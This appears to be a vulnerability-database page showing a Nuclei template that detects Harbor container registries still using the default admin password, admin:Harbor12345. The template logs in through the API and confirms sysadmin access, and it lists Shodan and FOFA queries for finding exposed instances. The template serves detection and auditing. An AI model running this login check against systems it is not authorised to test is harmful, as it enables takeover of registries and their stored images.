harbor-default-login: Harbor Registry - Default Admin Credentials

2026-03-25 Harbor Registry PoC Public

Description

Detected: The Harbor container registry was found to be using default administrator credentials (admin:Harbor12345). An attacker could have gained full administrative access to manage registries, projects, users, and stored container images.

PoC

id: harbor-default-login

info:
  name: Harbor Registry - Default Admin Credentials
  author: 0x_Akoko
  severity: high
  description: |
    Detected: The Harbor container registry was found to be using default administrator credentials (admin:Harbor12345). An attacker could have gained full administrative access to manage registries, projects, users, and stored container images.
  reference:
    - https://goharbor.io/docs/1.10/install-config/run-installer-script/
    - https://goharbor.io/docs/latest/administration/managing-users/
  metadata:
    verified: true
    max-request: 2
    vendor: goharbor
    product: harbor
    shodan-query: 'http.title:"Harbor"'
    fofa-query: 'title="Harbor"'
  tags: harbor,default-login,auth,registry,vuln

variables:
  username: "admin"
  password: "Harbor12345"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/v2.0/systeminfo HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "auth_mode")'
        condition: and

  - raw:
      - |
        GET /api/v2.0/users/current HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64(username + ":" + password)}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"username\"", "\"admin\"", "\"sysadmin_flag\"")'
        condition: and
# digest: 4b0a00483046022100ed560f941b56c4cd0037c6b723593c5eb470e50915f06c7093f301dd94229d7c02210084a5e073178e3dad8148f582127c4a214734328c00cd768a222bb5c2bef7da2c:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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